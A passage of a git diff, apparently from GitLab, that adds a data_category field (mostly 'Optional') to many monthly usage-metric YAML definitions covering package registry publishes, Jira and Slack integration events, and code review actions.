+++ b/config/metrics/counts_28d/20210216184814_i_package_container_deploy_token_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_container_deploy_token_monthly
description: A monthly count of container images published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184818_i_package_debian_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184818_i_package_debian_deploy_token_monthly.yml
index 1bf0aa9697d..b1685bc86bf 100644
--- a/config/metrics/counts_28d/20210216184818_i_package_debian_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184818_i_package_debian_deploy_token_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_debian_deploy_token_monthly
description: A monthly count of Debian packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184822_i_package_generic_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184822_i_package_generic_deploy_token_monthly.yml
index cc4754964dd..a852830bd40 100644
--- a/config/metrics/counts_28d/20210216184822_i_package_generic_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184822_i_package_generic_deploy_token_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_generic_deploy_token_monthly
description: A monthly count of generic packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184826_i_package_golang_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184826_i_package_golang_deploy_token_monthly.yml
index 3b4f45e0737..a7d1fdc1271 100644
--- a/config/metrics/counts_28d/20210216184826_i_package_golang_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184826_i_package_golang_deploy_token_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_golang_deploy_token_monthly
description: A monthly count of Go modules published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184830_i_package_maven_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184830_i_package_maven_deploy_token_monthly.yml
index eabb8cff15f..415d136fadc 100644
--- a/config/metrics/counts_28d/20210216184830_i_package_maven_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184830_i_package_maven_deploy_token_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_maven_deploy_token_monthly
description: A monthly count of Maven packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184834_i_package_npm_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184834_i_package_npm_deploy_token_monthly.yml
index fc3b6db7af8..10e3d154698 100644
--- a/config/metrics/counts_28d/20210216184834_i_package_npm_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184834_i_package_npm_deploy_token_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_npm_deploy_token_monthly
description: A monthly count of npm packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184838_i_package_nuget_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184838_i_package_nuget_deploy_token_monthly.yml
index 6dfb7a6a201..ea9d0c6434c 100644
--- a/config/metrics/counts_28d/20210216184838_i_package_nuget_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184838_i_package_nuget_deploy_token_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_nuget_deploy_token_monthly
description: A monthly count of NuGet packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184842_i_package_pypi_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184842_i_package_pypi_deploy_token_monthly.yml
index 9a73f02c128..5e840499c9e 100644
--- a/config/metrics/counts_28d/20210216184842_i_package_pypi_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184842_i_package_pypi_deploy_token_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_pypi_deploy_token_monthly
description: A monthly count of PyPI packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184846_i_package_tag_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184846_i_package_tag_deploy_token_monthly.yml
index 6a9856418c4..9e96d08b8eb 100644
--- a/config/metrics/counts_28d/20210216184846_i_package_tag_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184846_i_package_tag_deploy_token_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_tag_deploy_token_monthly
description: A monthly count of package tags published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184850_deploy_token_packages_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216184850_deploy_token_packages_total_unique_counts_monthly.yml
index 9df4ad1d53e..007a0087173 100644
--- a/config/metrics/counts_28d/20210216184850_deploy_token_packages_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216184850_deploy_token_packages_total_unique_counts_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.deploy_token_packages_total_unique_counts_monthly
description: A monthly count of packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184854_i_package_composer_user_monthly.yml b/config/metrics/counts_28d/20210216184854_i_package_composer_user_monthly.yml
index 23cdfbb2be4..9c7f0a48d2c 100644
--- a/config/metrics/counts_28d/20210216184854_i_package_composer_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184854_i_package_composer_user_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_composer_user_monthly
description: A monthly count of users that have published a Composer package to the registry
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184858_i_package_conan_user_monthly.yml b/config/metrics/counts_28d/20210216184858_i_package_conan_user_monthly.yml
index 44b005feead..f4f53f344d3 100644
--- a/config/metrics/counts_28d/20210216184858_i_package_conan_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184858_i_package_conan_user_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_conan_user_monthly
description: A monthly count of users that have published a Conan package to the registry
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184902_i_package_container_user_monthly.yml b/config/metrics/counts_28d/20210216184902_i_package_container_user_monthly.yml
index 3ff19ed318b..d480e8eacf6 100644
--- a/config/metrics/counts_28d/20210216184902_i_package_container_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184902_i_package_container_user_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_container_user_monthly
description: A monthly count of users that have published a container image to the registry
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184906_i_package_debian_user_monthly.yml b/config/metrics/counts_28d/20210216184906_i_package_debian_user_monthly.yml
index 84993d1d227..2683628049d 100644
--- a/config/metrics/counts_28d/20210216184906_i_package_debian_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184906_i_package_debian_user_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_debian_user_monthly
description: A monthly count of users that have published a Debian package to the registry
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184910_i_package_generic_user_monthly.yml b/config/metrics/counts_28d/20210216184910_i_package_generic_user_monthly.yml
index 8365d585d6a..903f9f8b146 100644
--- a/config/metrics/counts_28d/20210216184910_i_package_generic_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184910_i_package_generic_user_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_generic_user_monthly
description: A monthly count of users that have published a generic package to the registry
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184913_i_package_golang_user_monthly.yml b/config/metrics/counts_28d/20210216184913_i_package_golang_user_monthly.yml
index 8a8adf299a2..0c559a16839 100644
--- a/config/metrics/counts_28d/20210216184913_i_package_golang_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184913_i_package_golang_user_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_golang_user_monthly
description: A monthly count of users that have published a Go moduleto the registry
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184917_i_package_maven_user_monthly.yml b/config/metrics/counts_28d/20210216184917_i_package_maven_user_monthly.yml
index 8f404ea70d3..fbf543ab69b 100644
--- a/config/metrics/counts_28d/20210216184917_i_package_maven_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184917_i_package_maven_user_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_maven_user_monthly
description: A monthly count of users that have published a Maven package to the registry
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184921_i_package_npm_user_monthly.yml b/config/metrics/counts_28d/20210216184921_i_package_npm_user_monthly.yml
index 2c81962800a..8b73015fbfb 100644
--- a/config/metrics/counts_28d/20210216184921_i_package_npm_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184921_i_package_npm_user_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_npm_user_monthly
description: A monthly count of users that have published an npm package to the registry
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184925_i_package_nuget_user_monthly.yml b/config/metrics/counts_28d/20210216184925_i_package_nuget_user_monthly.yml
index 9dcfb653994..4df4da25bb3 100644
--- a/config/metrics/counts_28d/20210216184925_i_package_nuget_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184925_i_package_nuget_user_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_nuget_user_monthly
description: A monthly count of users that have published a NuGet package to the registry
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184929_i_package_pypi_user_monthly.yml b/config/metrics/counts_28d/20210216184929_i_package_pypi_user_monthly.yml
index d975d7ed7ac..f8047de893d 100644
--- a/config/metrics/counts_28d/20210216184929_i_package_pypi_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184929_i_package_pypi_user_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_pypi_user_monthly
description: A monthly count of users that have published a PyPI package to the registry
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184933_i_package_tag_user_monthly.yml b/config/metrics/counts_28d/20210216184933_i_package_tag_user_monthly.yml
index 5e953322470..f39cb56f015 100644
--- a/config/metrics/counts_28d/20210216184933_i_package_tag_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184933_i_package_tag_user_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_tag_user_monthly
description: A monthly count of users that have published a package tag to the registry
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184937_user_packages_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216184937_user_packages_total_unique_counts_monthly.yml
index f01aba36f32..826c7e660e6 100644
--- a/config/metrics/counts_28d/20210216184937_user_packages_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216184937_user_packages_total_unique_counts_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: redis_hll_counters.user_packages.user_packages_total_unique_counts_monthly
description: A monthly count of users that have published a package to the registry
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184941_i_ecosystem_jira_service_close_issue_monthly.yml b/config/metrics/counts_28d/20210216184941_i_ecosystem_jira_service_close_issue_monthly.yml
index d5a96845a4d..10f02ffec9c 100644
--- a/config/metrics/counts_28d/20210216184941_i_ecosystem_jira_service_close_issue_monthly.yml
+++ b/config/metrics/counts_28d/20210216184941_i_ecosystem_jira_service_close_issue_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_jira_service_close_issue_monthly
description: Number of users closing Jira issues by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210216184945_i_ecosystem_jira_service_cross_reference_monthly.yml b/config/metrics/counts_28d/20210216184945_i_ecosystem_jira_service_cross_reference_monthly.yml
index 81b6bd694c8..9c32f66fba6 100644
--- a/config/metrics/counts_28d/20210216184945_i_ecosystem_jira_service_cross_reference_monthly.yml
+++ b/config/metrics/counts_28d/20210216184945_i_ecosystem_jira_service_cross_reference_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_jira_service_cross_reference_monthly
description: Number of users that cross-referenced Jira issues by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210216184957_ecosystem_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216184957_ecosystem_total_unique_counts_monthly.yml
index edd25537070..76452c300b7 100644
--- a/config/metrics/counts_28d/20210216184957_ecosystem_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216184957_ecosystem_total_unique_counts_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.ecosystem_total_unique_counts_monthly
description: Number of users performing actions on Jira issues by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210222041219_i_quickactions_invite_email_single_monthly.yml b/config/metrics/counts_28d/20210222041219_i_quickactions_invite_email_single_monthly.yml
index 3541c7d48ef..6c66ac6b52e 100644
--- a/config/metrics/counts_28d/20210222041219_i_quickactions_invite_email_single_monthly.yml
+++ b/config/metrics/counts_28d/20210222041219_i_quickactions_invite_email_single_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_invite_email_single_monthly
description: Unique users using the /invite_email quick action to add a single email participant to an issue within 28 days
product_section: dev
diff --git a/config/metrics/counts_28d/20210222041235_i_quickactions_invite_email_multiple_monthly.yml b/config/metrics/counts_28d/20210222041235_i_quickactions_invite_email_multiple_monthly.yml
index c4848444e75..a3bcc3732a1 100644
--- a/config/metrics/counts_28d/20210222041235_i_quickactions_invite_email_multiple_monthly.yml
+++ b/config/metrics/counts_28d/20210222041235_i_quickactions_invite_email_multiple_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_invite_email_multiple_monthly
description: Unique users using the /invite_email quick action to add a multiple email participants to an issue within 28 days
product_section: dev
diff --git a/config/metrics/counts_28d/20210301102134_i_code_review_user_time_estimate_changed_monthly.yml b/config/metrics/counts_28d/20210301102134_i_code_review_user_time_estimate_changed_monthly.yml
index 902c9162456..5dcd06ba0bb 100644
--- a/config/metrics/counts_28d/20210301102134_i_code_review_user_time_estimate_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210301102134_i_code_review_user_time_estimate_changed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_time_estimate_changed_monthly
description: Count of unique users per month who changed time estimate of a MR
product_section: dev
diff --git a/config/metrics/counts_28d/20210301102204_i_code_review_user_time_spent_changed_monthly.yml b/config/metrics/counts_28d/20210301102204_i_code_review_user_time_spent_changed_monthly.yml
index b98fa24a789..431c3459aee 100644
--- a/config/metrics/counts_28d/20210301102204_i_code_review_user_time_spent_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210301102204_i_code_review_user_time_spent_changed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_time_spent_changed_monthly
description: Count of unique users per month who changed time spent on a MR
product_section: dev
diff --git a/config/metrics/counts_28d/20210301103859_i_code_review_user_mr_discussion_locked_monthly.yml b/config/metrics/counts_28d/20210301103859_i_code_review_user_mr_discussion_locked_monthly.yml
index 109bf35b1c6..35311eb3d03 100644
--- a/config/metrics/counts_28d/20210301103859_i_code_review_user_mr_discussion_locked_monthly.yml
+++ b/config/metrics/counts_28d/20210301103859_i_code_review_user_mr_discussion_locked_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_mr_discussion_locked_monthly
description: Count of unique users per month who locked a MR
product_section: dev
diff --git a/config/metrics/counts_28d/20210301103925_i_code_review_user_mr_discussion_unlocked_monthly.yml b/config/metrics/counts_28d/20210301103925_i_code_review_user_mr_discussion_unlocked_monthly.yml
index 1bf8d97ea59..a7c127bbce8 100644
--- a/config/metrics/counts_28d/20210301103925_i_code_review_user_mr_discussion_unlocked_monthly.yml
+++ b/config/metrics/counts_28d/20210301103925_i_code_review_user_mr_discussion_unlocked_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_mr_discussion_unlocked_monthly
description: Count of unique users per month who unlocked a MR
product_section: dev
diff --git a/config/metrics/counts_28d/20210301144228_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_monthly.yml b/config/metrics/counts_28d/20210301144228_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_monthly.yml
index 2bc3ff7d2e1..20bc2888444 100644
--- a/config/metrics/counts_28d/20210301144228_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_monthly.yml
+++ b/config/metrics/counts_28d/20210301144228_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_monthly
description: Monthly unique user count having merge requests which contains the CI config file
product_section: ops
diff --git a/config/metrics/counts_28d/20210302110520_i_code_review_user_milestone_changed_monthly.yml b/config/metrics/counts_28d/20210302110520_i_code_review_user_milestone_changed_monthly.yml
index 9008de987e8..a0364f3b662 100644
--- a/config/metrics/counts_28d/20210302110520_i_code_review_user_milestone_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210302110520_i_code_review_user_milestone_changed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_milestone_changed_monthly
description: Count of unique users per month who changed milestone of a MR
product_section: dev
diff --git a/config/metrics/counts_28d/20210302110607_i_code_review_user_labels_changed_monthly.yml b/config/metrics/counts_28d/20210302110607_i_code_review_user_labels_changed_monthly.yml
index 883eb32feb5..f3172ea968a 100644
--- a/config/metrics/counts_28d/20210302110607_i_code_review_user_labels_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210302110607_i_code_review_user_labels_changed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_labels_changed_monthly
description: Count of unique users per month who changed labels of a MR
product_section: dev
diff --git a/config/metrics/counts_28d/20210302114145_i_code_review_user_assignees_changed_monthly.yml b/config/metrics/counts_28d/20210302114145_i_code_review_user_assignees_changed_monthly.yml
index 30d410e4b57..134273d95e0 100644
--- a/config/metrics/counts_28d/20210302114145_i_code_review_user_assignees_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210302114145_i_code_review_user_assignees_changed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_assignees_changed_monthly
description: Count of unique users per month who changed assignees of a MR
product_section: dev
diff --git a/config/metrics/counts_28d/20210302114219_i_code_review_user_reviewers_changed_monthly.yml b/config/metrics/counts_28d/20210302114219_i_code_review_user_reviewers_changed_monthly.yml
index b7093d8c0c5..e89aff85ae8 100644
--- a/config/metrics/counts_28d/20210302114219_i_code_review_user_reviewers_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210302114219_i_code_review_user_reviewers_changed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_reviewers_changed_monthly
description: Count of unique users per month who changed reviewers of a MR
product_section: dev
diff --git a/config/metrics/counts_28d/20210303150507_i_ecosystem_slack_service_issue_notification_monthly.yml b/config/metrics/counts_28d/20210303150507_i_ecosystem_slack_service_issue_notification_monthly.yml
index 164d37d88e0..7982e5c2080 100644
--- a/config/metrics/counts_28d/20210303150507_i_ecosystem_slack_service_issue_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303150507_i_ecosystem_slack_service_issue_notification_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_issue_notification_monthly
description: Calculated unique users to trigger a Slack message by performing an action on an issue by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210303150654_i_ecosystem_slack_service_push_notification_monthly.yml b/config/metrics/counts_28d/20210303150654_i_ecosystem_slack_service_push_notification_monthly.yml
index ccf82319d9d..58a19c976ef 100644
--- a/config/metrics/counts_28d/20210303150654_i_ecosystem_slack_service_push_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303150654_i_ecosystem_slack_service_push_notification_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_push_notification_monthly
description: Calculated unique users to trigger a Slack message by performing a Git push by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210303150912_i_ecosystem_slack_service_deployment_notification_monthly.yml b/config/metrics/counts_28d/20210303150912_i_ecosystem_slack_service_deployment_notification_monthly.yml
index 5333e2b7951..a496c23f27a 100644
--- a/config/metrics/counts_28d/20210303150912_i_ecosystem_slack_service_deployment_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303150912_i_ecosystem_slack_service_deployment_notification_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_deployment_notification_monthly
description: Calculated unique users to trigger a Slack message by performing a deployment by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210303151609_i_ecosystem_slack_service_wiki_page_notification_monthly.yml b/config/metrics/counts_28d/20210303151609_i_ecosystem_slack_service_wiki_page_notification_monthly.yml
index 89004523ce3..4fd3024a123 100644
--- a/config/metrics/counts_28d/20210303151609_i_ecosystem_slack_service_wiki_page_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303151609_i_ecosystem_slack_service_wiki_page_notification_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_wiki_page_notification_monthly
description: Calculated unique users to trigger a Slack message by performing an action on a wiki page by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210303151831_i_ecosystem_slack_service_merge_request_notification_monthly.yml b/config/metrics/counts_28d/20210303151831_i_ecosystem_slack_service_merge_request_notification_monthly.yml
index 8b12cd29ae4..cca179d85d9 100644
--- a/config/metrics/counts_28d/20210303151831_i_ecosystem_slack_service_merge_request_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303151831_i_ecosystem_slack_service_merge_request_notification_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_merge_request_notification_monthly
description: Calculated unique users to trigger a Slack message by performing an action on a merge request by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210303151946_i_ecosystem_slack_service_note_notification_monthly.yml b/config/metrics/counts_28d/20210303151946_i_ecosystem_slack_service_note_notification_monthly.yml
index 49037eeb57f..373207882e6 100644
--- a/config/metrics/counts_28d/20210303151946_i_ecosystem_slack_service_note_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303151946_i_ecosystem_slack_service_note_notification_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_note_notification_monthly
description: Calculated unique users to trigger a Slack message by creating a note by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210303152049_i_ecosystem_slack_service_tag_push_notification_monthly.yml b/config/metrics/counts_28d/20210303152049_i_ecosystem_slack_service_tag_push_notification_monthly.yml
index 166176b2026..deffb8604b2 100644
--- a/config/metrics/counts_28d/20210303152049_i_ecosystem_slack_service_tag_push_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303152049_i_ecosystem_slack_service_tag_push_notification_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_tag_push_notification_monthly
description: Calculated unique users to trigger a Slack message by performing a tag push by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210303152144_i_ecosystem_slack_service_confidential_note_notification_monthly.yml b/config/metrics/counts_28d/20210303152144_i_ecosystem_slack_service_confidential_note_notification_monthly.yml
index 9092e7696c5..c6d22aeee3a 100644
--- a/config/metrics/counts_28d/20210303152144_i_ecosystem_slack_service_confidential_note_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303152144_i_ecosystem_slack_service_confidential_note_notification_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_confidential_note_notification_monthly
description: Calculated unique users to trigger a Slack message by creating a confidential note by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210303152233_i_ecosystem_slack_service_confidential_issue_notification_monthly.yml b/config/metrics/counts_28d/20210303152233_i_ecosystem_slack_service_confidential_issue_notification_monthly.yml
index 968ac5734cb..5ffe284e566 100644
--- a/config/metrics/counts_28d/20210303152233_i_ecosystem_slack_service_confidential_issue_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303152233_i_ecosystem_slack_service_confidential_issue_notification_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_confidential_issue_notification_monthly
description: Calculated unique users to trigger a Slack message by performing an action on a confidential issue by month
product_section: dev
diff --git a/config/metrics/counts_28d/20210303154626_i_package_rubygems_deploy_token_monthly.yml b/config/metrics/counts_28d/20210303154626_i_package_rubygems_deploy_token_monthly.yml
index 38782ce6ce4..5084e954108 100644
--- a/config/metrics/counts_28d/20210303154626_i_package_rubygems_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210303154626_i_package_rubygems_deploy_token_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_rubygems_deploy_token_monthly
description: Distinct count events for RubyGems packages published using a Deploy token in recent 28 days
product_section: ops
diff --git a/config/metrics/counts_28d/20210303154654_i_package_rubygems_user_monthly.yml b/config/metrics/counts_28d/20210303154654_i_package_rubygems_user_monthly.yml
index 3c5f72e525e..1058ace0ae5 100644
--- a/config/metrics/counts_28d/20210303154654_i_package_rubygems_user_monthly.yml
+++ b/config/metrics/counts_28d/20210303154654_i_package_rubygems_user_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_rubygems_user_monthly
description: Distinct user count of RubyGems packages published in recent 28 days
product_section: ops
diff --git a/config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml b/config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml
index 6699b789178..58f8c709d3f 100644
--- a/config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml
+++ b/config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.secure.users_expanding_secure_security_report_monthly
description: Count of expanding the security report widget
product_section: sec
diff --git a/config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml b/config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml
index 7ce8873f4f6..d993b1a1ce7 100644
--- a/config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml
+++ b/config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.testing.users_expanding_testing_code_quality_report_monthly
description: Count of expanding the code quality widget
product_section: ops
diff --git a/config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml b/config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml
index 7669db19d21..01d6512d124 100644
--- a/config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml
+++ b/config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.testing.users_expanding_testing_accessibility_report_monthly
description: Count of expanding the accessibility report widget
product_section: ops
diff --git a/config/metrics/counts_28d/20210410012206_i_package_terraform_module_deploy_token_monthly.yml b/config/metrics/counts_28d/20210410012206_i_package_terraform_module_deploy_token_monthly.yml
index 5a9029b57c1..5eaeda70733 100644
--- a/config/metrics/counts_28d/20210410012206_i_package_terraform_module_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210410012206_i_package_terraform_module_deploy_token_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_terraform_module_deploy_token_monthly
description: Number of distinct users authorized via deploy token creating Terraform Module packages in recent 28 days
product_section: ops
diff --git a/config/metrics/counts_28d/20210410012208_i_package_terraform_module_user_monthly.yml b/config/metrics/counts_28d/20210410012208_i_package_terraform_module_user_monthly.yml
index ab606fdd903..89b39d7052f 100644
--- a/config/metrics/counts_28d/20210410012208_i_package_terraform_module_user_monthly.yml
+++ b/config/metrics/counts_28d/20210410012208_i_package_terraform_module_user_monthly.yml
@@ -1,4 +1,5 @@
---
